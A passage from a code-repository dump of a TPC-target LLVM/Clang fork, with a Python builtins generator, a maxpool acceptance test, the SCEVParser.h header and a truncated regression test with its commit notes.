range(len(Architecture.STRING_VALUES)):\n values.append(Architecture(index))\n\n return values\n\n\nall_targets = Architecture.getAllArchitecture()\n\nclang_type_codes = {\n \"bool\": \"b\",\n \"char\": \"s\",\n \"short\": \"s\",\n \"int\": \"i\",\n \"float\": \"f\",\n \"bf16\": \"B\",\n \"half\": \"h\",\n \"minifloat\": \"q\",\n \"minihalf\": \"Q\",\n\n \"int8_t\": \"c\",\n \"uint8_t\": \"Uc\",\n \"int16_t\": \"s\",\n \"uint16_t\": \"Us\",\n \"int32_t\": \"i\",\n \"uint32_t\": \"Ui\",\n \"int4_t\": \"c\",\n \"uint4_t\": \"Uc\",\n\n \"squeeze_cntr\" : \"i\",\n\n \"__global void *\": \"v*3\",\n \"__global void **\": \"v*3*\",\n\n \"__global float **\": \"f*3*\",\n \"__global bf16 **\": \"B*3*\",\n \"__global half **\": \"h*3*\",\n \"__global minifloat **\": \"q*3*\",\n \"__global minihalf **\": \"Q*3*\",\n \"__global int32_t **\": \"i*3*\",\n \"__global uint32_t **\": \"Ui*3*\",\n \"__global int16_t **\": \"s*3*\",\n \"__global uint16_t **\": \"Us*3*\",\n \"__global int8_t **\": \"c*3*\",\n \"__global uint8_t **\": \"Uc*3*\",\n \"__global bool **\": \"b*3*\",\n\n \"int5\": \"E5i\",\n \"void\": \"v\",\n\n \"bool64\": \"V8Uc\",\n \"bool128\": \"V16Uc\",\n \"bool256\": \"V32Uc\",\n \"char256\": \"E256c\",\n \"uchar256\": \"E256Uc\",\n \"short128\": \"E128s\",\n \"ushort128\": \"E128Us\",\n \"int64\": \"E64i\",\n \"uint64\": \"E64Ui\",\n \"float64\": \"E64f\",\n \"bfloat128\": \"E128B\",\n \"half128\": \"E128h\",\n \"nibble512\": \"E256c\",\n \"unibble512\": \"E256Uc\",\n \"minifloat256\": \"E256q\",\n \"minihalf256\": \"E256Q\",\n\n \"float128\": 'r0',\n \"float64_int64\": 'r1',\n \"float64_uint64\": 'r2',\n\n \"int64_float64\": 'r3',\n \"int128\": \"r4\",\n \"int64_uint64\": 'r5',\n\n \"uint64_float64\": 'r6',\n \"uint64_int64\": 'r7',\n \"uint128\": \"r8\",\n\n \"bfloat256\": 'r9',\n \"bfloat128_half128\": 'r10',\n \"bfloat128_short128\": 'r11',\n \"bfloat128_ushort128\": \"r12\",\n\n \"half128_bfloat128\": 'r13',\n \"half256\": 'r14',\n \"half128_short128\": 'r15',\n \"half128_ushort128\": \"r16\",\n\n \"short128_bfloat128\": 'r17',\n \"short128_half128\": 'r18',\n \"short256\": 'r19',\n \"short128_ushort128\": 'r20',\n\n \"ushort128_bfloat128\": 'r21',\n \"ushort128_half128\": 'r22',\n \"ushort128_short128\": 'r23',\n \"ushort256\": 'r24',\n\n \"char512\": 'r25',\n \"char256_uchar256\": 'r26',\n \"char256_minifloat256\": 'r27',\n \"char256_minihalf256\": 'r28',\n\n \"uchar256_char256\": 'r29',\n \"uchar512\": 'r30',\n \"uchar256_minifloat256\": 'r31',\n \"uchar256_minihalf256\": 'r32',\n\n \"uint32_t_pair_t\": 'r33',\n \"uint16_t_pair_t\": 'r34',\n \"uint8_t_pair_t\": 'r35',\n \"int256\": 'r36',\n \"uint256\": 'r37',\n \"float256\": 'r38',\n\n \"minifloat512\": 'r39',\n \"minifloat256_minihalf256\": 'r40',\n \"minifloat256_char256\": 'r41',\n \"minifloat256_uchar256\": 'r42',\n\n \"minihalf512\": 'r43',\n \"minihalf256_minifloat256\": 'r44',\n \"minihalf256_char256\": 'r45',\n \"minihalf256_uchar256\": 'r46',\n \"int32_t_pair_t\": 'r47'\n}\n\npredefined_constants = [\n \"polarity\",\n \"switches\"\n]\n\nhas_default = [\n \"polarity\",\n \"predicate\",\n \"income\",\n \"switches\"\n]\n\n\ndef is_structure_type(type):\n return clang_type_codes[type][0] == 'r'\n\n\nclass Intrinsic:\n def __init__(self, name, return_type, operands, targets):\n self.name = name\n self.return_type = return_type\n self.operands = operands\n self.targets = [elem for elem in targets]\n self.targets.sort(key=lambda x: {\"goya\": 0, \"gaudi\": 1}[x])\n\n def create_clang_definition(self):\n intr_types_string = clang_type_codes[self.return_type]\n first_with_default = None\n\n for i, op in enumerate(self.operands):\n # if op.is_constant:\n # intr_types_string += 'I'\n if op.is_unsigned:\n intr_types_string += 'U'\n intr_types_string += clang_type_codes[op.type_name]\n if first_with_default is None and op.def_value is not None:\n first_with_default = i\n\n return_attr = 'n' if 'void' in self.return_type else 'nc'\n targets_str = \"|\".join([elem for elem in self.targets])\n if first_with_default is None:\n first_with_default = -1\n if first_with_default < 0:\n return 'TARGET_BUILTIN( %s, \"%s\", \"%s\", \"%s\" )\\n' % (self.name, intr_types_string, return_attr, targets_str)\n else:\n return 'TPC_BUILTIN( %s, \"%s\", \"%s\", \"%s\", %i )\\n' %\\\n (self.name, intr_types_string, return_attr, targets_str, first_with_default)\n\n\nclass Parameter:\n def __init__(self, name, type_name, is_constant, is_unsigned, def_value=None):\n self.name = name\n self.type_name = type_name\n self.is_constant = is_constant\n self.is_unsigned = is_unsigned\n self.def_value = def_value\n\n\nclass DoxygenDoc:\n class Param:\n def __init__(self, name, description):\n self.name = name\n self.description = description\n\n class SwitchValue(object):\n def __init__(self, name, description, architectures):\n self.name = name\n self.description = description\n self.architectures = architectures\n\n class Switche(SwitchValue):\n def __init__(self, name, description, architectures):\n super(DoxygenDoc.Switche, self).__init__(name, description, architectures)\n\n self.values = []\n\n def add_value(self, value):\n self.values.append(value)\n\n def __init__(self, briefs_notation):\n self.briefs_notation = briefs_notation\n self.architectures_notation = []\n self.params_notation = []\n self.switches_notation = []\n self.returns_notation = \"\"\n self.notes_notation = \"\"\n\n\ncurrent_doxygen = None\n\n\nclass DoxygenValidator:\n # TODO turn into enum\n STATE_START = 0\n STATE_BRIEF = 1\n STATE_PARAMS = 2\n STATE_RETURNS = 3\n STATE_SWITCHES = 4\n STATE_SWITCHE_VALUES = 5\n STATE_INTRINSICS_START = 6\n\n def __init__(self):\n self.has_new_line = False\n self.state = self.STATE_START\n self.next_line_as_appendix = False\n self.previous_switch_space_length = None\n\n def process_doxygen(self, line, line_num):\n has_end_of_line = False\n global current_doxygen\n if line.endswith(\"\\\\n\\n\"):\n has_end_of_line = True\n\n if self.next_line_as_appendix:\n match_result = re.match(r\"///\\s*(.+)$\", line)\n if self.state == DoxygenValidator.STATE_BRIEF:\n current_doxygen.briefs_notation += match_result.group(1)\n elif self.state == DoxygenValidator.STATE_PARAMS:\n current_doxygen.params_notation[-1].description += match_result.group(1)\n elif self.state == DoxygenValidator.STATE_SWITCHES:\n current_doxygen.switches_notation[-1].description += match_result.group(1)\n elif self.state == DoxygenValidator.STATE_SWITCHE_VALUES:\n current_doxygen.switches_notation[-1].values[-1].description += match_result(1)\n self.next_line_as_appendix = False\n\n match_result = re.match(r\"///\\s*@brief\\s+(.+)$\", line)\n if match_result:\n if self.state in [DoxygenValidator.STATE_START, DoxygenValidator.STATE_BRIEF]:\n self.state = DoxygenValidator.STATE_BRIEF\n current_doxygen = DoxygenDoc(match_result.group(1))\n self.previous_switch_space_length = None\n\n self.next_line_as_appendix = has_end_of_line\n else:\n raise Exception(\"Unexpected @brief at line {}\".format(line_num))\n\n match_result = re.match(r\"///\\s*@param\\s+(\\w+)\\s+(.+)$\", line)\n if match_result:\n if self.state in [DoxygenValidator.STATE_BRIEF, DoxygenValidator.STATE_PARAMS,\n DoxygenValidator.STATE_RETURNS]:\n self.state = DoxygenValidator.STATE_PARAMS\n current_doxygen.params_notation.append(\n DoxygenDoc.Param(match_result.group(1), match_result.group(2)))\n\n self.next_line_as_appendix = has_end_of_line\n else:\n raise Exception(\"Unexpected @param at line {}\".format(line_num))\n\n match_result = re.match(r\"///\\s*@return\\s+(.+)$\", line)\n if match_result:\n if self.state == DoxygenValidator.STATE_PARAMS:\n self.state = DoxygenValidator.STATE_RETURNS\n\n self.next_line_as_appendix = has_end_of_line\n else:\n raise Exception(\"Unexpected @return at line {}\".format(line_num))\n\n if self.state in [DoxygenValidator.STATE_SWITCHES, DoxygenValidator.STATE_SWITCHE_VALUES]:\n match_result = re.match(r\"///(\\s+)-\\ \\[?(\\w+)\\]?(?:.*\\s*-\\s*(.*))?$\", line)\n if match_result:\n is_switch = True if self.previous_switch_space_length == None else self.previous_switch_space_length >= len(\n match_result.group(1))\n switch_name = match_result.group(2)\n switch_description = \"\" if match_result.group(3) == None else match_result.group(3)\n architectures = None\n for feature in re.findall(r\"\\(\\s*[a-zA-Z0-9+]+\\s*\\)\", line):\n architectures = Architecture.from_feature_string(feature)\n if len(architectures) > 0:\n break\n if is_switch:\n self.previous_switch_space_length = len(match_result.group(1))\n self.state = DoxygenValidator.STATE_SWITCHES\n\n current_doxygen.switches_notation.append(\n DoxygenDoc.Switche(switch_name, switch_description, architectures))\n else:\n self.state = DoxygenValidator.STATE_SWITCHE_VALUES\n current_doxygen.switches_notation[-1].values.append(\n DoxygenDoc.SwitchValue(switch_name, switch_description, architectures))\n\n match_result = re.match(r\"///\\s*Allowed switches are:\\s*$\", line)\n if match_result:\n if self.state in [DoxygenValidator.STATE_PARAMS, DoxygenValidator.STATE_RETURNS]:\n self.state = DoxygenValidator.STATE_SWITCHES\n\n self.next_line_as_appendix = has_end_of_line\n else:\n raise Exception(\"Unexpected allowed switches at line {}\".format(line_num))\n\n match_result = re.match(r\"///\\s*@\\{\\s*$\", line)\n if match_result:\n if self.state in [DoxygenValidator.STATE_PARAMS, DoxygenValidator.STATE_RETURNS,\n DoxygenValidator.STATE_SWITCHES, DoxygenValidator.STATE_SWITCHE_VALUES]:\n self.state = DoxygenValidator.STATE_INTRINSICS_START\n\n self.next_line_as_appendix = has_end_of_line\n else:\n raise Exception(\"Unexpected @{{ at line {}\".format(line_num))\n\n match_result = re.match(r\"///\\s*@\\}\\s*$\", line)\n if match_result:\n if self.state == self.STATE_INTRINSICS_START:\n self.state = self.STATE_START\n\n self.next_line_as_appendix = has_end_of_line\n else:\n raise Exception(\"Unexpected @}} at line {}\".format(line_num))\n\n\ndef process_comments(line, line_num, output):\n # Possible, doxygen comments\n if line.startswith(\"///\"):\n doxygen_validator.process_doxygen(line, line_num)\n # File description comments\n elif line.startswith(\"//-\"):\n pass\n # General comments\n elif line.startswith(\"//\"):\n if line[2:].isspace():\n output.append(\"\\n\")\n else:\n output.append(line)\n\n\ndoxygen_validator = DoxygenValidator()\n\n\nclass ParseError(Exception):\n def __init__(self, message, line=None, previous=None):\n super(ParseError, self).__init__()\n self.line = line\n self.message = message\n self.previous = previous\n\n\ndef parse_intrinsic_declaration(line, targets):\n if line.startswith('__global void *'):\n return_type = '__global void *'\n else:\n return_type = line[:line.find(' ')]\n if return_type not in clang_type_codes.keys():\n raise ParseError(\"Invalid return type '{}'\".format(return_type))\n\n line = line[len(return_type):line.find(')')].strip()\n\n name, param_str = line.split('(')\n name = name.strip()\n param_str = re.sub(r'[\\s]+', ' ', param_str)\n param_str = re.sub(', ', ',', param_str)\n param_str = param_str.lstrip(\");\\n\")\n params = param_str.split(',')\n ops = []\n first_param_with_default = None\n\n for i, param_def in enumerate(params):\n if param_def == \"\":\n raise ParseError(\"Invalid parameter declaration\")\n\n # Default value\n def_value = None\n equ_pos = param_def.find('=')\n if equ_pos > 0:\n def_value = param_def[equ_pos+1:].replace(' ', '')\n param_def = param_def[:equ_pos].strip()\n if not first_param_with_default:\n first_param_with_default = i\n\n # Parameter name\n name_pos = re.search(r'\\w+$', param_def)\n if not name_pos:\n raise ParseError(\"missing parameter name\")\n parameter_name = name_pos.group(0)\n if parameter_name in clang_type_codes.keys():\n raise ParseError(\"missing parameter name\")\n param_def = param_def[:name_pos.start(0)].strip()\n\n # Parameter type\n if not param_def:\n raise ParseError(\"missing parameter type\")\n is_constant = False\n is_unsigned = False\n if param_def.startswith(\"const\"):\n is_constant = True\n param_def = param_def[len(\"const\"):].strip()\n if param_def.startswith(\"unsigned\"):\n is_unsigned = True\n param_def = param_def[len(\"unsigned\"):].strip()\n if param_def.startswith(\"__global\"):\n if not param_def.endswith(\"*\"):\n raise ParseError(\"Invalid use of __global: it must apply to pointers only\")\n param_type = param_def\n if not is_constant and parameter_name in predefined_constants:\n is_constant = True\n\n if def_value:\n if param_type == 'bool':\n if def_value != '0' and def_value != '1':\n if parameter_name != 'income' or (def_value != '{}' and def_value != '{0}'):\n raise ParseError(\"Default argument of boolean parameter '{}' must be 1 or 0\".format(parameter_name))\n elif param_type == 'int':\n if def_value != '0':\n raise ParseError(\"Default argument of integer parameter '{}' must be 0\".format(parameter_name))\n elif is_structure_type(param_type):\n if def_value != '{}' and def_value != '{0}':\n raise ParseError(\"Invalid default argument of parameter '{}'\".format(parameter_name))\n if parameter_name == 'polarity':\n if def_value != '0':\n raise ParseError(\"Default argument of 'polarity' must be 0\".format(parameter_name))\n if parameter_name == 'predicate':\n if def_value != '1':\n raise ParseError(\"Default argument of 'predicate' must be 1\".format(parameter_name))\n if parameter_name == 'switches':\n if def_value != '0':\n raise ParseError(\"Default argument of 'switches' must be 0\".format(parameter_name))\n elif first_param_with_default is not None:\n raise ParseError(\"Missed default argument in parameter '{}'\".format(parameter_name))\n\n ops.append(Parameter(parameter_name, param_type, is_constant, is_unsigned, def_value))\n return Intrinsic(name, return_type, ops, targets)\n\n\ndef parse_preprocessor_directive(expr):\n # expr := group ( '||' group )*\n # group := term ( '&&' term)*\n # term := ( '!' )? item\n # item := atom\n # | '(' expr ')'\n # atom := 'defined' '(' identifier ')'\n\n all_targets = set([\"goya\", \"gaudi\"])\n valid_defines = {\n \"__dali__\": set([\"goya\"]),\n \"__goya__\": set([\"goya\"]),\n \"__gaudi__\": set([\"gaudi\"]),\n \"__gaudi_plus__\": set([\"gaudi\"]),\n }\n\n def parse_atom(line):\n line = line.lstrip()\n if not line.startswith('defined'):\n raise ParseError(\"Expected 'defined'\", line)\n line = line[len('defined'):].lstrip()\n if not line.startswith('('):\n raise ParseError(\"Expected '('\", line)\n line = line[1:].lstrip()\n m = re.match(\"[_A-Za-z][_A-Za-z0-9]*\", line)\n if not m:\n raise ParseError(\"Expected identifier\", line)\n id = m.string[m.start():m.end()]\n if id not in valid_defines:\n raise ParseError(\"Unknown define: {}\".format(id), line)\n line = line[len(id):].lstrip()\n if not line.startswith(')'):\n raise ParseError(\"Expected ')'\", line)\n return line[1:], valid_defines[id]\n\n def parse_item(line):\n line = line.lstrip()\n if line.startswith('('):\n (line, targets) = parse_expr(line[1:])\n if not line.lstrip().startswith(')'):\n raise ParseError(\"Expected ')'\", line)\n return line[1:], targets\n else:\n return parse_atom(line)\n\n def parse_term(line):\n line = line.lstrip()\n inverted = False\n if line.startswith('!'):\n inverted = True\n line = line[1:].lstrip()\n (line, targets) = parse_item(line)\n if inverted:\n targets = all_targets - targets\n return line, targets\n\n def parse_group(line):\n (line, targets_left) = parse_term(line)\n line = line.lstrip()\n while line.startswith('&&'):\n line = line[2:].lstrip()\n (line, targets_right) = parse_term(line)\n targets_left = targets_left & targets_right\n line = line.lstrip()\n return line, targets_left\n\n def parse_expr(line):\n (line, targets_left) = parse_group(line)\n line = line.lstrip()\n while line.startswith('||'):\n line = line[2:].lstrip()\n (line, targets_right) = parse_group(line)\n targets_left = targets_left | targets_right\n line = line.lstrip()\n return line, targets_left\n\n expr = expr.strip()\n if len(expr) == 0:\n raise ParseError(\"Expected expression\", expr)\n (expr, targets) = parse_expr(expr)\n if len(expr.strip()) != 0:\n raise ParseError(\"Unexpected symbol\", expr)\n return targets\n\n\ndef read_intrinsics_header(filename, collect_defaults):\n all_targets = set([\"goya\", \"gaudi\"])\n\n with open(filename, 'r') as header:\n data = header.readlines()\n output = []\n targets = all_targets\n in_cond_block = False\n start_of_cond = None\n try:\n for i in range(0, len(data)):\n line = data[i]\n if line.isspace():\n continue\n elif line.startswith(\"//\"):\n process_comments(line, i + 1, output)\n elif line.startswith('#'):\n pp_directive = line[1:].strip()\n if re.match(\"if\\s\", pp_directive):\n if in_cond_block:\n raise ParseError(\"nested 'if' directives are not supported\", pp_directive, start_of_cond)\n pp_directive = pp_directive[2:].lstrip()\n targets = parse_preprocessor_directive(pp_directive)\n in_cond_block = True\n start_of_cond = i\n elif re.match(\"endif\", pp_directive):\n if not in_cond_block:\n raise ParseError(\"unbalanced 'endif'\", pp_directive)\n targets = all_targets\n in_cond_block = False\n start_of_cond = None\n else:\n raise ParseError(\"unsupported preprocessor directive\", pp_directive)\n elif ';' not in line or \"(\" not in line or line.lstrip().startswith(\"//\"):\n continue\n else:\n intrinsic = parse_intrinsic_declaration(line, targets)\n if intrinsic is None:\n continue\n output.append(intrinsic.create_clang_definition())\n except ParseError as err:\n line = data[i]\n if err.line:\n column = len(line) - len(err.line)\n eprint('\\n')\n eprint(\"line\", i + 1, \"column\", column + 1, \"error:\", err.message)\n eprint(\"> \", line, end='')\n eprint(column * ' ' + ' ^')\n else:\n eprint(\"line\", i + 1, \"error:\", err.message)\n eprint(\"> \", line, end='')\n if err.previous:\n eprint(\"previous construct is at line\", start_of_cond)\n eprint(\"> \", data[start_of_cond])\n sys.exit(1)\n return output\n\n\nif len(sys.argv) < 2:\n print(\"Invalid arguments.\\nUsage: python tpc_builtins_gen.py <input_header_file> [<output_builtins_file>]\")\n sys.exit(1)\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"header\")\nparser.add_argument(\"definitions\", nargs='?')\nparser.add_argument(\"--def\", action=\"store_const\", const=True, dest=\"defargs\", help=\"collect default arguments info\")\nargs = parser.parse_args()\n\noutput = read_intrinsics_header(args.header, args.defargs)\nif args.definitions:\n outfile = open(args.definitions, 'w')\nelse:\n outfile = sys.stdout\n\noutfile.write(\"\"\"// Autogenerated file, do not change it.\n#ifndef TPC_BUILTIN\n #define TPC_BUILTIN(n,a,f,t,d) TARGET_BUILTIN(n,a,f,t)\n #define TPC_BUILTIN_DEFINED\n#endif\n\n\"\"\")\noutfile.writelines(output)\noutfile.write(\"\"\"\n#ifdef TPC_BUILTIN_DEFINED\n #undef TPC_BUILTIN\n #undef TPC_BUILTIN_DEFINED\n#endif\n\"\"\")\n\n" }, { "alpha_fraction": 0.5555915832519531, "alphanum_fraction": 0.606482982635498, "avg_line_length": 31.13541603088379, "blob_id": "669ed78134a416d94f08cf07bb5275948f2da04b", "content_id": "391be8ff5806b2b21a1c61e22fe9233ada89d557", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 3085, "license_type": "permissive", "max_line_length": 140, "num_lines": 96, "path": "/clang/test/RC99/acceptance/maxpool_fwd.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O2 %s -o - | FileCheck %s\n//*** GAUDI-227 *** R U N: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O2 %s -o - | FileCheck --check-prefix=CHECK-ASM %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -emit-llvm -O1 %s -o - | FileCheck --check-prefix=CHECK-O1 %s\n// RUN: %clang_cc1 -triple tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck --check-prefix=CHECK-ASM-O1 %s\n\nvoid main(tensor in, tensor out_max, tensor out_maxidx)\n{\n\tint windowH = 3;\n\tint windowW = 3;\n\tint strideH = 2;\n\tint strideW = 2;\n\tint paddingH = 0;\n\tint paddingW = 0;\n\tint dilationH = 1;\n\tint dilationW = 1;\n\n\tint C_end = 64;\n\tint W_end = 2;\n\tint H_end = 2;\n\tint B_end = 1;\n\n\t//\t C W H B NA\n\t//\t[dim0,dim1,dim2,dim3,dim4];\n\n\tint5 curInputIndex;\n\tint5 curOutputIndex;\n\n\tfloat64 fltZero = 0.0f;\n\tfloat64 fltMax = 3.402823466e+38F;\n\tfloat64 fltMin = 0;\n\tfltMin = v_f32_sub_v_v_b(fltZero, fltMax, fltMin, 0, 0, 1);\n\n\tfor (int C_itr = 0; C_itr < C_end; C_itr += 64)\n\t{\n\t\tcurInputIndex[0] = C_itr;\n\t\tcurOutputIndex[0] = C_itr;\n\n\t\tfor (int B_itr = 0; B_itr < B_end; B_itr++)\n\t\t{\n\t\t\tcurInputIndex[3] = B_itr;\n\t\t\tcurOutputIndex[3] = B_itr;\n\n\t\t\tfor (int H_itr = 0; H_itr < H_end; H_itr++)\n\t\t\t{\n\t\t\t\tcurOutputIndex[2] = H_itr;\n\n\t\t\t\tint inputWindowStartH = H_itr * strideH - paddingH;\n\n\t\t\t\tfor (int W_itr = 0; W_itr < W_end; W_itr++)\n\t\t\t\t{\n\t\t\t\t\tcurOutputIndex[1] = W_itr;\n\t\t\t\t\tint inputWindowStartW = W_itr * strideW - paddingW;\n\t\t\t\t\t//float64 maxVal = fltMin;\n\t\t\t\t\tfloat64 maxVal = 0;\n\t\t\t\t\tmaxVal = v_f32_mov_v_b(fltMin, maxVal, 1, 0);\n\t\t\t\t\tint64 maxIdx = 0;\n\n\t\t\t\t\t// Window handling starts here\n\t\t\t\t\tfor (int kH_itr = 0; kH_itr < windowH; kH_itr++)\n\t\t\t\t\t{\n\t\t\t\t\t\tcurInputIndex[2] = inputWindowStartH + kH_itr;\n\n\t\t\t\t\t\tfor (int kW_itr = 0; kW_itr < windowW; kW_itr++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tint idxInWindow = kH_itr * windowW + kW_itr;\n\t\t\t\t\t\t\tcurInputIndex[1] = inputWindowStartW + kW_itr;\n\t\t\t\t\t\t\tfloat64 inputValVec = 0;\n\t\t\t\t\t\t\tinputValVec = v_f32_ld_tnsr_i_b(curInputIndex, in,inputValVec, 1, 0);\n\t\t\t\t\t\t\t/*\n\t\t\t\t\t\t\t// This is the code I need but the intrinsics for sel2 aren't implemented yet. So I will come up with a different flavor of the code.\n\t\t\t\t\t\t\tfloat64_int64_pair_t respair = v_f32_i32_sel2_grt_v_v_v_s_b(inputValVec, maxVal, maxIdx, idxInWindow, 1, 0);\n\t\t\t\t\t\t\tmaxVal = respair.a;\n\t\t\t\t\t\t\tmaxIdx = respair.b;\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t\tbool256 predGrt = 0;\n\t\t\t\t\t\t\tpredGrt = bv_f32_cmp_grt_v_v_b(inputValVec, maxVal,predGrt, 1, 0);\n\t\t\t\t\t\t\t//float64 v_f32_mov_v_vb(float64 a, bool256 predicate, bool predicatePolarity);\n\t\t\t\t\t\t\tmaxVal = v_f32_mov_v_vb(inputValVec, maxVal, predGrt, 0);\n\t\t\t\t\t\t\t//int64 v_i32_mov_s_vb(int32_t a, bool256 predicate, bool predicatePolarity);\n\t\t\t\t\t\t\tmaxIdx = v_i32_mov_s_vb(idxInWindow, maxIdx, predGrt, 0);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tf32_st_tnsr_i_v_b(curOutputIndex, out_max, maxVal, 1, 0);\n\t\t\t\t\ti32_st_tnsr_i_v_b(curOutputIndex, out_maxidx, maxIdx, 1, 0);\n\t\t\t\t} // W loop\n\t\t\t} // H loop\n\t\t} // B loop\n\t} // C loop\n}\n\n// CHECK:main\n// CHECK-ASM: main\n// CHECK-ASM: halt\n// CHECK-O1:main\n// CHECK-ASM-O1: main\n// CHECK-ASM-O1: halt\n" }, { "alpha_fraction": 0.5871421098709106, "alphanum_fraction": 0.5904068350791931, "avg_line_length": 29.63846206665039, "blob_id": "48382d036a277a038e028be21df6733e97736c8c", "content_id": "0e3a2667cc215bccf91663080856cc731dc0d753", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3982, "license_type": "permissive", "max_line_length": 106, "num_lines": 130, "path": "/llvm/lib/Target/TPC/SCEVParser.h", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===- SCEVParser.h ----------------------------------------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n//===----------------------------------------------------------------------===//\n#ifndef SCEVPARSER_CPP_H\n#define SCEVPARSER_CPP_H\n\n#include \"TPCTargetMachine.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/MemoryBuiltins.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpander.h\"\n#include \"llvm/Analysis/ScalarEvolutionExpressions.h\"\n#include \"llvm/IR/Function.h\"\n#include \"llvm/IR/InstIterator.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\n\nusing namespace llvm;\nusing namespace std;\n\nclass SCEVParser {\n public:\n\n SCEVParser(const SCEV *scev, ScalarEvolution *sel, Module *M = nullptr,\n LoopInfo *LInfo = nullptr)\n : p_SCEVP(scev), p_SEL(sel), m_SCE((*p_SEL), p_SEL->getDataLayout(), \"TPC_LLVM\"), p_M(M) {\n computeStride();\n };\n\n /*!\n *\n * @param input string to convert\n * @param Int8Ty \"char\" type\n * @return A string to push to section\n */\n vector<Constant *> createAString(std::string input, Type *Int8Ty);\n\n /*!\n *\n * @param s SCEV\n * @return\n */\n const SCEV *computeInit(const SCEV *s);\n\n /*!\n *\n * @param s SCEV\n * @return run on the scev and set to zero unknown nodes\n */\n const SCEV *treeRunner(const SCEV *s);\n\n /*!\n *\n * @param s SCEV\n * @return convert SCEV value to string presentation\n */\n std::string printH(const SCEV *s);\n\n /*!\n * This is the entry point of section creating. With that the SCEV section will be create.\n * @param index\n * @param LoadStore L-load S-store\n */\n void parseExpr(int index, char LoadStore);\n\n int get_step() { return m_StepInducation; }\n\n Instruction *getValueInducation();\n\n private:\n const SCEV *p_SCEVP; /*!Contains a pointer to SCEV object*/\n int m_StepInducation = 0; /*!Step size*/\n ScalarEvolution *p_SEL; /*!Pointer to ScalarEvolution*/\n SCEVExpander m_SCE; /*!SCEVExpander Class*/\n Module *p_M; /*!Module pointer*/\n vector<Instruction *> m_InsVec; /*!instruction container*/\n vector<Instruction *> m_InsVec2; /*!instruction container*/\n std::vector<std::pair<const Loop *, Value *>> m_stepValue; /*!pair of loop ptr and value for the step*/\n\n /*!\n * Enum describes the index space mac and min of A,B\n */\n typedef enum status {\n max,\n min\n } m_status;\n\n /*!\n * @brief findCoefficient find the constant value op the loop indeucation.\n * @param Expr SCEV to analysis\n * @param TargetLoop The loop to analysis\n * @return The coefficient of the loop.\n * @example for(int i=0;i<3;i++) ==> {0,+,1}<%for_bb> --> SCEV = const{1}\n */\n const SCEV *findCoefficient(const SCEV *Expr, const Loop *TargetLoop);\n\n /*!\n * @param s SCEV to analysis\n * @param InsVecUpdate container to save the instructions (a value node in the SCEV)\n */\n void searchForValue(const SCEV *s, vector<Instruction *> &InsVecUpdate);\n\n /*!\n * @breaf compute the initialize value of the iterator\n * @param s SCEV to analysis\n * @param range {min|max} ==>\n * @retur the minimum or the maximum of the iterator.\n */\n const SCEV *computeInitIter(const SCEV *s, status range);\n\n /*!\n *\n * Find the stride element and set the stride member\n */\n void computeStride();\n\n /*!\n *\n * @param s SCEV pointer to analysis\n */\n void computerStepInstruction(const SCEV *s);\n};\n\n#endif // SCEVPARSER_CPP_H" }, { "alpha_fraction": 0.4912280738353729, "alphanum_fraction": 0.5789473652839661, "avg_line_length": 26.184616088867188, "blob_id": "cde352f52c58ce67172ed5395915722737234d90", "content_id": "b388327563acbef3539284424950b1395ea9ecad", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1767, "license_type": "permissive", "max_line_length": 130, "num_lines": 65, "path": "/clang/test/RC99/regression/g-1780.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -triple tpc-none-none -std=rc99 -mllvm -tpc-unbranch=1 -mllvm -tpc-unbranch-cnf=1 -O1 %s -o - | FileCheck %s\n\n// XFAIL: *\n\n/*\nWith new changes unbranch already do not hide issie.\n\n ADRF registers are not spillable on this processor come back!\n \ncommit 20de96da46d3b3bb2463eff289799252fbfcc9ce \nAuthor: Md Asghar Ahmad Shahid <[email protected]>\nDate: Wed Jun 16 09:07:44 2021 +0300\n\n [LLVM-1775]: Fix to handle overlapping paths involving fptrunc/fpext and fptrunc/store-pack.\n\n Change-Id: Ib07ae3b97cd07341090a71917bb63acf595d91a7\n\n\n\n*/\n\nint to_prepare_data = 0;\nint to_run_test = 1;\nvoid test_runner(int to_do, tensor out_tnsr)\n{\n int5 out_index = {-1,0,0,0,0};\n if (to_do == to_run_test)\n {\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 1, 0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 2, 0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 3, 0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 4, 0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 5, 0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 6, 0, 1, 0);\n#if 1\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 7, 0, 1, 0);\n\n out_index[0] += 1;\n s_i32_st_g (a_gen_addr_i(out_index, out_tnsr), 8, 